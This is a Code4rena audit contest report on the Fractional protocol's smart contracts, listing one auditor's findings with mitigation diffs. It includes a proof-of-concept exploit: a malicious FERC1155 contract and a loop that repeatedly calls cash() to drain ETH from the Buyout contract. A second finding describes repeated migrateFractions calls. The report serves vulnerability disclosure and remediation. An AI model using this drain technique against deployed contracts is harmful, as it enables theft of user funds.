Platform: Code4rena
Start Date: 07/07/2022
Pot Size: $75,000 USDC
Total HM: 32
Participants: 141
Period: 7 days
Judge: HardlyDifficult
Total Solo HM: 4
Id: 144
League: ETH
Rank: 42/141
Findings: 4
Award: $282.85
π Selected for report: 0
π Solo Findings: 0
π Selected for report: berndartmueller
Also found by: 0xA5DF, 0xSky, 0xsanson, ElKu, Kumpa, Treasure-Seeker, TrungOre, cccz, cryptphi, hansfriese, jonatascm, kenzo, minhquanym, s3cunda, shenwilly, smiling_heretic, zzzitron
41.4866 USDC - $41.49
https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L244-L273
A malicious user can deploy custom FERC1155
contract, create a vault and get all funds from Buyou
through cash
functionality.
The cash
function uses the calculation to withdraw the userβs eth:
(tokenBalance * ethBalance) / (totalSupply + tokenBalance)
The cash
function don't update ethBalance
for the vault, so you can manipulate the FERC1155
to get values from this enabling to run the cash
function in a loop until remove all eth from contract.
FERC1155
contract, with some modifications in these functions:contract MaliciousFERC1155 is Clone, ERC1155, IFERC1155 { function setTotalSupply(uint256 _id, uint256 _amount) external { totalSupply[_id] = _amount; } function burn( address _from, uint256 _id, uint256 _amount ) external { } function mint( address _to, uint256 _id, uint256 _amount, bytes memory _data ) external { _mint(_to, _id, _amount, _data); totalSupply[_id] += _amount; } function transferController(address _newController) external { if (_newController == address(0)) revert ZeroAddress(); _controller = _newController; emit ControllerTransferred(_newController); } function controller() public view returns (address controllerAddress) { _controller == address(0) ? controllerAddress = INITIAL_CONTROLLER() : controllerAddress = _controller; } ... rest of functions from FERC1155 }
IFERC1155(maliciousToken).transferController(maliciousUser.addr); vault = maliciousUser.registry.createInCollection( merkleRoot, maliciousToken, nftReceiverPlugins, nftReceiverSelectors );
maliciousUser.buyoutModule.start{value: 1 ether}(vault);
alice.buyoutModule.sellFractions(vault, 5000); vm.warp(buyoutModule.REJECTION_PERIOD() + 1); maliciousUser.buyoutModule.end(vault, burnProof);
IFERC1155(maliciousToken).mint(maliciousUser.addr, 1, TOTAL_SUPPLY, data); maliciousUser.maliciousFerc1155.setTotalSupply(1,0);
Buyout
following the logic://You can calculate the minimum balance that you can withdraw // but for simplicity we're going to set it to 0 while(address(buyout).balance > 0) { //Each time this function is execute will withdraw some eth from buyout contract maliciousUser.buyoutModule.cash(vault, burnProof); }
To mitigate this issue you'll need to update the ethBalance
from buyInfo
:
... // Executes burn of fractional tokens from caller IVault(payable(_vault)).execute(supply, data, _burnProof); // Transfers buyout share amount to caller based on total supply uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); uint256 buyoutShare = (tokenBalance * ethBalance) / (totalSupply + tokenBalance); + // Let the buytShare to maximum of ethBalance + // in case the user try to manipulate the value + if(buyoutShare > ethBalance) buyoutShare = ethBalance; + buyoutInfo[_vault].ethBalance -= buyoutShare; _sendEthOrWeth(msg.sender, buyoutShare); // Emits event for cashing out of buyout pool emit Cash(_vault, msg.sender, buyoutShare);
#0 - ecmendenhall
2022-07-15T02:56:25Z
π Selected for report: dipp
Also found by: 0x52, Lambda, PwnedNoMore, Ruhum, Treasure-Seeker, ak1, auditor0517, hansfriese, jonatascm, kenzo, panprog, smiling_heretic, xiaoming90
https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Migration.sol#L433-L482
After a successful proposal to change the vault, any user can run multiple times the function migrateFractions
getting all FERC1155
tokens from the new contract and then manipulates a new buyout to withdraw the vault token ERC20
or ERC721
There isn't any check that prevents a user to run migrateFractions
multiples times, you should update the variables that calculate the shareAmount
to fix this issue.
Is recommended to follow this code to fix the issue:
function migrateFractions(address _vault, uint256 _proposalId) external { ... uint256 shareAmount = (balanceContributedInEth * newTotalSupply) / totalInEth; + userProposalEth[_proposalId][msg.sender] = 0 + userProposalFractions[_proposalId][msg.sender] = 0 // Transfers fractional tokens to caller based on share amount IFERC1155(token).safeTransferFrom( address(this), msg.sender, newFractionId, shareAmount, "" ); }
#0 - mehtaculous
2022-07-20T16:59:44Z
Duplicate of #460
#1 - HardlyDifficult
2022-08-11T17:18:52Z
π Selected for report: xiaoming90
Also found by: 0x1f8b, 0x29A, 0x52, 0xA5DF, 0xDjango, 0xNazgul, 0xNineDec, 0xf15ers, 0xsanson, 0xsolstars, 242, 8olidity, Amithuddar, Aymen0909, Bnke0x0, BowTiedWardens, David_, Deivitto, ElKu, Funen, Hawkeye, IllIllI, JC, Kaiziron, Keen_Sheen, Kthere, Kulk0, Kumpa, Lambda, MEP, ReyAdmirado, Rohan16, Ruhum, Sm4rty, TomJ, Tomio, Treasure-Seeker, TrungOre, Tutturu, Viksaa39, Waze, _Adam, __141345__, ak1, apostle0x01, asutorufos, async, ayeslick, aysha, bbrho, benbaessler, berndartmueller, c3phas, cccz, chatch, cloudjunky, codexploder, cryptphi, delfin454000, dipp, durianSausage, dy, exd0tpy, fatherOfBlocks, hake, hansfriese, horsefacts, hubble, joestakey, jonatascm, kebabsec, kenzo, kyteg, mektigboy, neumo, oyc_109, pashov, pedr02b2, peritoflores, rajatbeladiya, rbserver, robee, rokinot, s3cunda, sach1r0, sahar, sashik_eth, scaraven, shenwilly, simon135, sorrynotsorry, sseefried, svskaushik, unforgiven, z3s, zzzitron
122.3675 USDC - $122.37
eth
and fraction
locked for some time inside Migration
contractIf a user by mistake join
using a _proposalId
that isn't created yet, and the vault
start new auction
while the auction still active. The user funds will be locked inside the Migration
contract until auction finish
To fix this issue is recommended to add a check if proposal is already running:
startTime = 0
block.timestamp > proposal.startTime + PROPOSAL_PERIOD
function join( address _vault, uint256 _proposalId, uint256 _amount ) external payable nonReentrant { ... // Gets the migration proposal for the given ID Proposal storage proposal = migrationInfo[_vault][_proposalId]; + if(proposal.startTime == 0) + revert ProposalNotStarted(); + if(block.timestamp > proposal.startTime + PROPOSAL_PERIOD) + revert ProposalOver(); // Updates ether balances of the proposal and caller proposal.totalEth += msg.value; ... }
redeem
in a vault without started auctionAfter register a vault in VaultRegistry
contract some user with total token supply
could call redeem
function in Buyout
contract without start an auction, losing all tokens.
After a user create a vault in VaultRegistry
is possible to call the function redeem
in Buyout
contract without starting the auction:
function redeem(address _vault, bytes32[] calldata _burnProof) external { + // The current state is INACTIVE because the user don't create any auction (, , State current, , , ) = this.buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert InvalidState(required, current); // Initializes vault transaction uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); bytes memory data = abi.encodeCall( ISupply.burn, (msg.sender, totalSupply) ); // Executes burn of fractional tokens from caller + //If the total tokens of the user is the total supply of vault + //the burn function is executed in vault IVault(payable(_vault)).execute(supply, data, _burnProof); // Sets buyout state to successful and proposer to caller (buyoutInfo[_vault].state, buyoutInfo[_vault].proposer) = ( State.SUCCESS, msg.sender ); // Emits event for redeem underlying assets from the vault emit Redeem(_vault, msg.sender); }
To fix this issue is recommended to add another variable to Auction
structure, to check if an auction was executed, like this code:
struct Auction { // Time of when buyout begins uint256 startTime; // Address of proposer creating buyout address proposer; // Enum state of the buyout auction State state; // Price of fractional tokens uint256 fractionPrice; // Balance of ether in buyout pool uint256 ethBalance; // Total supply recorded before a buyout started uint256 lastTotalSupply; + // Boolean to check is auction already started + bool started; }
Is possible to create the contracts without setting the corrects immutable variables.
Should check for variables in constructor, example:
constructor( address _addr ) { + if(_addr == address(0)) revert INVALID_PARAM(); addr = _addr; }
#0 - HardlyDifficult
2022-07-26T19:10:22Z
π Selected for report: joestakey
Also found by: 0x1f8b, 0x29A, 0xA5DF, 0xKitsune, 0xNazgul, 0xNineDec, 0xalpharush, 0xkatana, 0xsanson, 0xsolstars, 8olidity, Avci, Bnke0x0, BowTiedWardens, Chom, Deivitto, ElKu, Fitraldys, Funen, IllIllI, JC, Kaiziron, Lambda, Limbooo, MEP, NoamYakov, PwnedNoMore, RedOneN, ReyAdmirado, Rohan16, Ruhum, Saintcode_, Sm4rty, TomJ, Tomio, TrungOre, Tutturu, Waze, _Adam, __141345__, ajtra, apostle0x01, asutorufos, benbaessler, brgltd, c3phas, codexploder, cryptphi, delfin454000, dharma09, djxploit, durianSausage, fatherOfBlocks, giovannidisiena, gogo, horsefacts, hrishibhat, hyh, ignacio, jocxyen, jonatascm, karanctf, kebabsec, kyteg, m_Rassska, mektigboy, oyc_109, pedr02b2, rbserver, robee, rokinot, sach1r0, sashik_eth, simon135, slywaters
37.6939 USDC - $37.69
Variables declared as immutable saves gas
- uint256 public variable; + uint256 public immutable variable;
Most of all loops in project aren't optimized
Fix all loops following the steps:
- for (uint256 _i = 0; _i < array.length(); _i++) {...} + uint256 length = array.length(); + for (uint256 _i; _i < length;){ + ... + unchecked { ++_i; } + }